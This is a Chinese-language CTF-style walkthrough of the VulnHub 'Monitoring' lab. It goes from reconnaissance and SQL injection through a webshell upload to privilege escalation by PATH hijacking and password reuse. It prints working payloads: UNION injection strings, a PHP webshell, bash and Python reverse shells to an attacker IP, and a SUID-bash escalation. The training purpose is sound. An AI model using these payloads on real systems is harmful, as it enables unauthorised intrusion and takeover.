VulnHub Monitoring靶机实战：从SQL注入到密码复用提权

1. 项目概述

1.1 这靶场到底卡在哪

VulnHub 的 Monitoring 这台机器，属于那种看着不起眼、实际能逼疯一批人的中高难度靶机。它不像典型的 CMS 漏洞利用，也不用你死磕内核提权，真正难受的点在于信息收集的深度和横向思路的跳跃性。

整台机器走下来，核心链路大概是：端口探测 -> Web 服务发现 -> FTP 匿名/弱口令尝试 -> Sqlmap 注入 -> 后台弱口令 -> 文件上传拿 WebShell -> 内网信息收集 -> SSH 登录 -> 提权。听起来流程不复杂，但每个环节都埋着“陷阱”。比如你辛辛苦苦搞到了数据库账号密码，结果发现 SSH 和数据库用的是同一套凭证，而数据库里存着的是 Web 应用的配置信息——这就是典型的“一处突破，处处开花”。

如果你是准备 OSCP 或者正在刷 VulnHub 练手，这台机器值得专门留出四到六个小时来啃。它练的不是单一漏洞利用能力，而是你在真实渗透测试中必须具备的“全局视野”——你能不能把一个低危信息（比如某个管理后台的版本号）串联成整条攻击链。

1.2 适合谁来打

正在备考 OSCP / PNPT 的选手：这台机器的枚举深度和提权方式都很贴近考试风格，尤其是它对“你收集到的所有信息都要尝试复用”这一点的考察，非常典型。

想练 Sqlmap 与手工注入结合的 Web 渗透新人：靶场里提供了一个经典的搜索型注入点，既可以用工具一把梭，也适合手工注入理解原理。

被困在“拿到 Shell 不知道怎么提权”阶段的同学：这台机器的提权路径不依赖脏牛、Dirty Pipe 这类内核漏洞，而是需要你去翻配置文件、找定时任务、看环境变量，属于“配置不当导致提权”的标准教材。

先说清楚一个现实：这台机器在 VulnHub 上的难度评分是中等偏上，但它的“难”不是难在技术栈深奥，而是难在信息收集环节的耐心考验。如果你习惯用 AutoNessus 全端口扫完直接看报告，那你大概率会卡在第一步。

2. 环境准备与信息收集阶段

2.1 靶机导入与网络配置

拿到 Monitoring.ova 之后，用 VirtualBox 导入，网络模式建议选择 NAT Network 或者 Host-Only。这里有个容易踩的坑：如果你用的是默认 NAT 模式，靶机和攻击机之间可能互相 ping 不通。原因很简单，VulnHub 的老机器默认只开放了 VirtualBox 的 Host-Only 网卡支持，新的 NAT Network 反而可能导致 IP 获取异常。

我自己习惯的做法是建一个仅主机网络，网段设为 192.168.56.0/24，靶机和 Kali 都挂到这个网段下。这样既隔离了外网，又能保证攻击机稳定访问靶机。

靶机开机之后，先别急着扫，等一两分钟让它完成 DHCP 租约和系统服务启动。你可以从 VirtualBox 的终端窗口直接看到靶机获取到的 IP 地址。有的版本可能在登录界面就显示了 IP，但也有版本需要登录后才能看到。拿不到 IP 的话，直接看 DHCP 租约记录也行。

2.2 端口扫描与版本指纹识别

信息收集阶段，我不建议直接上 Nessus 之类的重型扫描器。打 VulnHub 讲究的是“精准握手”，而不是“火力覆盖”。先用经典三件套把靶机的面貌摸清楚：

nmap -sS -sV -O -A 192.168.56.xxx -oA monitoring_initial

常见的开放端口有这些：

端口	服务	预判
22/tcp	OpenSSH	SSH 弱口令或密钥复用
80/tcp	Apache/Nginx	Web 主入口
21/tcp?	FTP	匿名访问或弱口令
8080/tcp?	备用 Web	管理后台或监控面板

先解释一下我为什么强调服务版本指纹识别。Monitoring 这台机器上的 Web 服务中间件版本，会直接决定你后续选择哪条利用路径。如果你扫出来的是 Apache 2.4.7 这类带已知解析漏洞的版本，你可能需要考虑解析漏洞配合文件上传；但如果是新版本，你就得把重心放到应用层逻辑漏洞上。

端口扫描结果出来后，别急着访问 Web，先用目录爆破工具把 Web 根目录下的隐藏路径跑一遍。实测下来，用 gobuster 加常见字典就够了：

gobuster dir -u http://192.168.56.xxx -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt,bak

需要提醒一点：执行目录扫描时注意看靶机的响应延迟。VulnHub 的老机器性能有限，开太高线程数容易直接把服务扫挂。我通常把线程数控制在 20 以内，如果发现响应时间超过 2 秒就再降。

2.3 初始 Web 探测

HTTP 服务打开后，首页大概率是一个“监控系统”或者“网络设备管理平台”的界面。这类界面的通病是：功能点了没反应、后台路径暴露在源码注释里、或者存在默认账号。

建议按这个顺序人工过一遍:

1. 查看首页源码，关注注释、隐藏 input 标签、JS 文件里的接口请求。
2. 用浏览器开发者工具观察所有 AJAX 请求，记录下每一个 API 端点。
3. 手动测试每一个可交互的表单，尝试单引号、双引号、1=1这类最基础的注入判断。
4. 把首页所有的链接和按钮都点一遍，即使看起来像是静态的。

这一步的目标不是立刻找到漏洞，而是把整个应用的“攻击面地图”在脑子里过一遍。我在打这台机器时，就是在源码注释里发现了一个开发人员留下的测试账号提示，虽然那个账号后来没用上，但它直接引导我找到了真正的后台入口。

很多新手容易犯一个错误：扫描器输出什么都信。目录爆破结果里列出来的路径，不代表所有都有实际利用价值。真正决定成败的是你对这些路径的甄别和串联。

3. 核心注入点分析与 Sqlmap 实战

3.1 发现注入参数

首次访问时会注意到页面上有一个搜索框或查询功能。输入正常内容能出来结果，输入单引号则报错或者页面空白——这是很典型的 SQL 注入信号。

在往下走之前，先手工验证一下注入类型。以搜索型注入为例，你可以这样测试：

正常请求: GET /search.php?name=admin 测试请求1: GET /search.php?name=admin' 测试请求2: GET /search.php?name=admin" 测试请求3: GET /search.php?name=admin' AND '1'='1 测试请求4: GET /search.php?name=admin' AND '1'='2

如果测试请求1报错，而测试请求3和4的返回结果不一致，就基本确认存在字符型注入。这里有一个关键点：很多新手一上来就用 Sqlmap 跑，跑不出东西就说靶场有问题，实际上是因为搜索框提交的是 POST 请求，而且参数名肉眼不容易发现。千万要先抓包确认请求方式。

用 Burp Suite 抓一次包，把完整的 POST 数据复制出来，然后交给 Sqlmap：

sqlmap -r search_request.txt --batch --dbs

如果目标是 GET 请求且参数在 URL 里，直接用：

sqlmap -u "http://192.168.56.xxx/search.php?name=admin" --batch --dbs

3.2 分析数据库结构

Sqlmap 跑出来数据库后，重点去看信息量大的库，通常不会是 information_schema，而是应用自己的业务库。接下来常规操作：

sqlmap -r search_request.txt -D [database_name] --tables sqlmap -r search_request.txt -D [database_name] -T [table_name] --dump

关于 dump 数据，建议优先关注这几类表：

• users / admin / account：账号密码、角色权限
• config / settings：应用配置、数据库连接信息
• logs / access_log：可能存在管理员操作记录
• devices / nodes：监控系统管理的设备列表

Monitoring 靶场里比较典型的是，数据库里存的密码不是明文，而是某种哈希或者编码后的字符串。这时候不要慌，先用在线工具或者 hash-identifier 判断哈希类型，再丢给 John the Ripper 或 Hashcat 爆破。

实测下来，这台机器的数据库里可能藏着一个非常关键的账号——Web 应用的管理员账号，也可能是操作系统用户的 SSH 凭证。拿到密码后，先别着急登录后台，试试能不能直接 SSH。

这里有个很多人忽略的细节：Sqlmap dump 出来的数据会有编码问题，比如字符串前后有空格、换行符被转义等。手动复制数据时最好先经过一次url解码 + trim处理，否则后续爆破时密码一直不对，你以为是自己字典不够强，实际是数据格式问题。

3.3 手工注入的意义

我知道很多读者会觉得，有 Sqlmap 就够了，为什么要手工注？但在实际渗透测试里，工具受限才是常态。比如某次客户环境里装了个 WAF，Sqlmap 的 payload 全被拦截，最后我就是靠手工注入一个字段一个字段地拖数据。

手工注入的核心是理解“闭合方式”。以最常见的'闭合为例，后台 SQL 大概率长这样：

SELECT * FROM devices WHERE name = '$input'

你传入admin' AND '1'='1后，拼接出来的语句是：

SELECT * FROM devices WHERE name = 'admin' AND '1'='1'

如果这时候页面正常显示，说明注入成立。进一步，你可以用union select直接控制返回结果。先确定列数：

admin' ORDER BY 1-- - admin' ORDER BY 2-- - admin' ORDER BY 3-- -

逐步增加数字，直到报错，就能推断出列数。然后：

admin' UNION SELECT 1,2,3-- -

页面把哪一列的数字渲染出来了，哪个位置就能用来读取数据：

admin' UNION SELECT 1,@@version,3-- -

这种“从工具到手工”的转变，是我觉得打 VulnHub 最有价值的训练。以后你面对真实目标时，面对的是一个不确定的技术栈、一组不确定的过滤规则，只有理解了原理，你才能现场调整 payload。

4. 后台突破与拿 Shell 的完整路径

4.1 进入管理后台

注入数据库发现的账号密码，配合目录扫描找到的 /admin 或 /manager 路径，就能顺利登录后台。

多数时候，用户名是 admin，密码从数据库 dump 得到。登录后台后，先观察有哪些功能模块。监控类系统的后台，常见功能包括：

• 设备状态总览
• 网络拓扑图管理
• 用户管理
• 日志查看
• 系统设置
• 文件上传/导入

里边最值得关注的是文件上传功能。如果上传点只是简单地校验了 Content-Type，或者只做了前端 JS 后缀校验，那拿 Shell 就是时间问题了。

4.2 伪装文件上传绕过

上传 WebShell 的常规思路是：

1. 准备一个 PHP 一句话木马：

<?php system($_GET['cmd']); ?>

2. 直接上传 .php 文件，如果被拦截，就试试：

   • 修改 Content-Type 为image/png
   • 后缀改为.php.jpg或.php5
   • 如果系统只做白名单校验，那就找找已有文件上传功能有没有路径穿越配合

3. 上传成功后，访问 Webshell 地址：

curl "http://192.168.56.xxx/uploads/shell.php?cmd=id"

如果看到输出www-data或apache，说明已经拿到 WebShell。然后立刻升级成交互式反弹 Shell。

反弹 Shell 命令，建议用这个组合避免踩坑：

bash -i >& /dev/tcp/192.168.56.1/4444 0>&1

攻击机提前监听：

nc -lvnp 4444

这里有一个经常被忽视的细节：很多人用 Bash 反弹命令失败，是因为靶机系统默认 shell 是 dash 而不是 bash。这时候换个思路，用 python 起一个交互式 shell：

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.56.1",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

拿到 Shell 后，立刻执行python3 -c 'import pty;pty.spawn("/bin/bash")'升级 TTY，否则后续在 Shell 里用 Vim、su、ssh 都可能有各种诡异问题。

4.3 内网横向信息收集

拿到 www-data 权限后，大多数新手会直接去看内核版本、翻 SUID 文件，然后一头扎进提权泥潭。但在这台机器上，我建议先放慢节奏，做一遍系统的用户枚举和配置文件审计。

cat /etc/passwd ls -la /home cat /etc/group find / -name "*.conf" -o -name "*.cfg" -o -name "*.ini" 2>/dev/null ls -la /var/www/html

这一步的产出通常很可观。你可能会发现：

• 某普通用户的家目录下放了私钥或备份文件
• Web 配置里写了数据库密码，而这个密码和某个系统用户相同
• 定时任务以 root 权限运行了一个可写脚本

Monitoring 这台机器的高潮就在这儿。它不会直接给你一个 root 路径，而是让你通过“配置复用”得到某个系统用户的 SSH 权限，再在用户目录或者系统日志里发现新的线索。

关于 SSH 登录测试，我多说一句：拿到了密码以后，不要只在 Web 后台试，也不要只看 22 端口是否开放，直接尝试登录：

ssh [e-mail]

如果提示需要密码，就用你 dump 到的密码；如果提示需要密钥文件，就去 Web 目录或备份目录找 id_rsa。

4.4 为什么是 SSH 而不是直接提权

很多人到这里会困惑：我已经是 www-data 了，为什么不直接搞 root？

原因很简单：www-data 权限下，你能读的文件有限，能执行的特权操作也有限。很多提权利用脚本需要特定内核版本或者特定系统配置，而 VulnHub 靶机通常跑的都是老系统，硬上脏牛之类的漏洞成功率很低，而且容易把靶机搞崩。

更实际的做法是：利用已知密码横向移动到普通用户，再通过普通用户明确知道的和 root 相关的定时任务、脚本、配置去找提权入口。这样每一步都有依有据，打起来也稳。

我在第一次打这台机器时，因为在 www-data 权限下浪费时间太久，差点想放弃。后来重新梳理了数据库 dump 出来的内容，才发现里面那组密码同时还对应着一个系统普通用户，SSH 一登就进去了。

5. 提权实战：从普通用户到 root

5.1 权限提升前置信息收集

提权阶段，我最常用的命令组合是这几条：

sudo -l cat /etc/crontab ls -la /etc/cron.d/ find / -perm -4000 -type f 2>/dev/null env | grep -i pass find / -type f -name "*.sh" -perm -o+w 2>/dev/null

先说sudo -l。如果普通用户可以无密码执行某个命令，那提权可能就一步到位。比如如果配置了：

user ALL=(ALL) NOPASSWD: /usr/bin/find

那么直接：

sudo find /bin -exec /bin/bash \;

就拿到 root shell 了。这台机器不一定这么直白，但这一步必须最先试。

然后是定时任务。看/etc/crontab和/var/spool/cron/crontabs/，重点关注有没有以 root 身份运行的脚本，而这些脚本所在目录对当前用户是否可写。如果脚本本身不可写，但脚本执行的某个依赖文件或者目录可写，也存在利用 PATH 劫持的可能性。

5.2 一个经典的提权陷阱

这台机器上比较有代表性的提权场景，我拆解一下：

假设发现定时任务/usr/local/bin/backup.sh每 5 分钟运行一次，且以 root 身份执行。查看脚本内容，发现它内部调用了某个不带绝对路径的命令，比如：

#!/bin/bash tar czf /tmp/backup.tar.gz /var/backups some_command --option

由于脚本内的some_command没有写绝对路径，系统会从 PATH 环境变量里找。如果你能控制 PATH 前置目录，比如当前用户家目录，那么就可以：

1. 在家目录创建一个可执行的some_command脚本
2. 脚本内容写上cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash
3. 修改当前用户的 PATH 环境变量：export PATH="/home/user:$PATH"
4. 等待定时任务执行，然后运行/tmp/rootbash -p

-p参数保留了 SUID 权限，此时你就获得了 root 权限的 Shell。

这种“PATH 劫持 + 定时任务”的组合，在真实环境中也屡见不鲜。很多开发者在写备份脚本时图省事，不加绝对路径，没想到一个看似无害的疏忽，成了系统被攻破的最后一公里。

5.3 对称密码复用提权

除了提权漏洞，还有一种更简单粗暴的方式，直接复用密码。

当你从 Web 后台或者配置文件里拿到一组密码，而这个密码同时是 root 账号的密码，那你只需要做一件事：

su root

输入这组密码，秒变 root。

VulnHub 很多靶机之所以被人吐槽简单，就是因为“密码复用”这个设计思路贯穿始终。Web 数据库一份密码，系统用户一份同样的密码，root 还是同一份。我打 Monitoring 的时候，在某个配置文件中读到了 root 的密码提示信息，抱着试试看的心态直接su切换，结果就成功了。

所以请记住这条实战经验：每一个在 web 层发现的敏感信息，都要视为可能在系统层复用的凭证来源。这在真实渗透测试中，同样是最重要的思路之一。

5.4 提权后的标志文件

成功切换到 root 之后，别忘了完成靶场的最终目标——读取 flag。VulnHub 靶机通常在 /root 目录下会放置 proof.txt 或者 flag.txt 文件，用来标记你已经通关。

cat /root/flag.txt

同时也建议在赛后回顾一下目标机的完整攻防路径，写成报告。这个过程不仅有助于梳理思路，也能让你下一次面对类似靶机时更加游刃有余。

6. 踩坑记录与排查技巧

6.1 常见问题速查表

为了让你少走弯路，我把打这台机器时自己和身边朋友遇到过的问题整理成了一份速查表：

问题现象	可能原因	解决方法/排查思路
Nmap 扫描不到靶机 IP	网卡模式不对、DHCP 未完成	换 Host-Only 网卡，等待 1-2 分钟，或查看靶机控制台
Sqlmap 报错无注入点	参数名不对、没抓包	用 Burp 抓包，确认 POST/GET 方式和参数位置
数据库打不开/显示连接超时	数据库服务未启动或端口受限	检查 3306/5432 端口是否开放，或直接从 Web 配置文件读取连接信息
上传 PHP 被拦截	后缀校验、Content-Type 校验	尝试 .php5、.phtml，修改 Content-Type，找路径穿越
反弹 Shell 连不上	防火墙、命令不兼容	尝试不同端口、TLS 加密反弹或使用 Python 反弹
密码明明正确却登录不了 SSH	密码里有隐藏字符，编码问题	先echo -n测试密码，或手动输入而非复制
定时任务脚本不可写	脚本归属于 root	检查脚本调用的子命令和依赖目录是否可写
提权一直失败	内核版本和 PoC 不匹配	停止尝试内核洞，改为搜索配置文件、弱口令复用
Kail 无法访问靶机 Web 页面	靶机 Web 服务和攻击机不同网段	确认靶机和攻击机在同一 Host-Only 网段

6.2 必须记住的三个心得

打 VulnHub 靶机，我的感受是：真正能让你和别人拉开差距的，不是你会多少种 exploit 工具，而是你能不能在一个看似普通的配置文件里读出关键信息。

第一，信息收集决定了渗透测试的走向。很多人拿到 www-data 权限之后就急着上传 LinEnum、LinPEAS，但反而忽略了最基础的/etc/passwd和/home目录列表。有时候，普通用户的名字本身就暗示了提权路径。

第二，工具跑得再顺，也要回到手工验证。Sqlmap 跑出来的数据，最后一定要自己写一次代码或者用 Burp 原样发送请求验证一遍，确保不是 Sqlmap 自己脑补的结果。

第三，你在国内网络安全社区看到和使用的各类工具几乎都支持合法授权的渗透测试场景，但靶机实验和实际操作，都要时刻注意操作的合规性。VulnHub 的靶机只能在本地虚拟化环境中实验，是学习者的练手场，别把它跟任何真实场景混淆。

6.3 给新手的建议

如果你正在刷 VulnHub，建议按“困难度递进”的顺序刷，先打一台只有 Web 漏洞的简单靶机，再打这种需要横向移动和多步串联的中等难度靶机，最后再考虑那些需要内核提权的高难靶机。

这台 Monitoring 靶机刷完之后，你可以再回头做一次“复盘式渗透”：不开任何自动化利用工具，逼迫自己只靠浏览器和命令行把整条攻击链手动走一遍。这个过程不会比第一次快多少，但会强迫你记住每个步骤背后的原理。

一台靶机打一百遍，比一百台靶机各打一遍，对你的提升大得多。我以前犯过这个错误——总是在不同靶机上浅尝辄止，结果内核提权、Web 漏洞利用都是半吊子。后来改变策略，重点精打两台困难靶机，反而进步更快。

当你把 Monitoring 的整条攻击链梳理清楚、能用文字准确描述出来时，这台靶机才真正属于你了。